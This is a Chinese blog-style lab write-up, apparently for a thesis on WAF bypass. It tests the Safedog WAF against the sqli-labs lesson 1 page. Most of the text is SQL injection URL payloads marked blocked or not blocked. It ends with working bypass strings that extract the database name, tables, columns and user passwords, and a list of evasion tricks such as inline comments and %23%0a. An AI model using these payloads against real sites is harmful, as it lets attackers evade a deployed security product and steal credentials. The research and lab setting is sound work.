最近本人的毕设题目定了下来,是做关于waf bypass方面的研究,所以我就打算找几个市面上常用的waf绕一绕,第一个实验品就是安全狗。
测试环境
- 操作系统:Windows
- 中间件:APACHE 2.4
- 数据库:MySql
- WAF名称:安全狗
- WAF版本:Windows APACHE版 4.0
WAF安装
安全狗的安装还蛮自动化的,需要注意的是如果使用的是phpstudy,可能会出现无法找到apache服务名的问题:解决方案
WAF绕过
测试用的网页来自于sqlilabs第一关,这一关是字符型注入。
首先判断sql语句里有几列,需要使用order by来查看
尝试?id=1’ order by 1#
结果肯定是被waf拦截,尝试?id=1’ order xby 1%23
出现报错,接下来就考虑用各种姿势替换掉x
尝试了以下几种:(%23=#,%0a=换行符)
- ?id=1’ order//by 1%23** 拦截
- ?id=1’ order/!/by 1%23 拦截
- ?id=1’ order%0aby 1%23 拦截
- ?id=1’ order%23%0Aby 1%23 未被拦截
最后得出sql语句中有3个字段。
尝试?id=1’ union select 1,2%23
结果肯定是被拦截,尝试:
- ?id=1’ xunion select 1,2,3%23 拦截
- ?id=1’ uxnion select 1,2,3%23 未被拦截
- ?id=1’ unionx select 1,2,3%23 未被拦截
- ?id=1’ union xselect 1,2,3%23 未被拦截
开始替换:
- ?id=-1’union/!/select 1,2,3%23 拦截
- ?id=-1’union/!select/ 1,2,3%23 拦截
- ?id=-1’union/*!///select 1,2,3%23* 拦截
- ?id=-1’union/!/xxx//select 1,2,3%23 拦截
- ?id=-1’union/*!///%0A select 1,2,3%23* 拦截
- ?id=-1’union/*!///%23%0A select 1,2,3%23* 拦截
- ?id=-1’union/*!///– -%23%0A select 1,2,3%23* 拦截
- ?id=-1’union/*!///– -xxxx%23%0Aselect 1,2,3%23* 未被拦截
库名
1 | ?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,/*!database*/%23%0A(),3%23 |
表名
1 | ?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,table_name,3 %23%0Afrom information_schema.tables where table_schema = /*!database*/%23%0A() limit 3,4%23 |
字段名
1 | ?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,group_concat(column_name),3 %23%0Afrom information_schema.columns where table_name = 'users' %26%26 table_schema = /*!database*/%23%0A()%23 |
获取敏感数据
1 | ?id=-1'union/*!/**/*/-- -xxxx%23%0Aselect 1,group_concat(username),group_concat(password) %23%0Afrom users%23 |
总结
安全狗属于通过正则匹配进行注入检测的WAF,所以目标就是要寻找狗的正则匹配的漏洞,我总结了一下这次绕过的一些步骤:
- 使用简短的字符(本次测试中用的字母x)插入到语句之间,如果出现未触发waf的情况就记录下来
- 根据未触发waf的情况,将插入的简短字符替换成各种常用的绕过姿势,直到不触发waf为止
本篇用到的绕过姿势也总结一下:
- /!/
- /!(版本号)(要执行的语句)/(版本号为00000~99999)
- /**/
- %26%26(&&)
- %23%0a(#和换行符)
- %0a
- 如果%23%0a不行,尝试– -%0a和– -(无用字符)%0a
- 待更新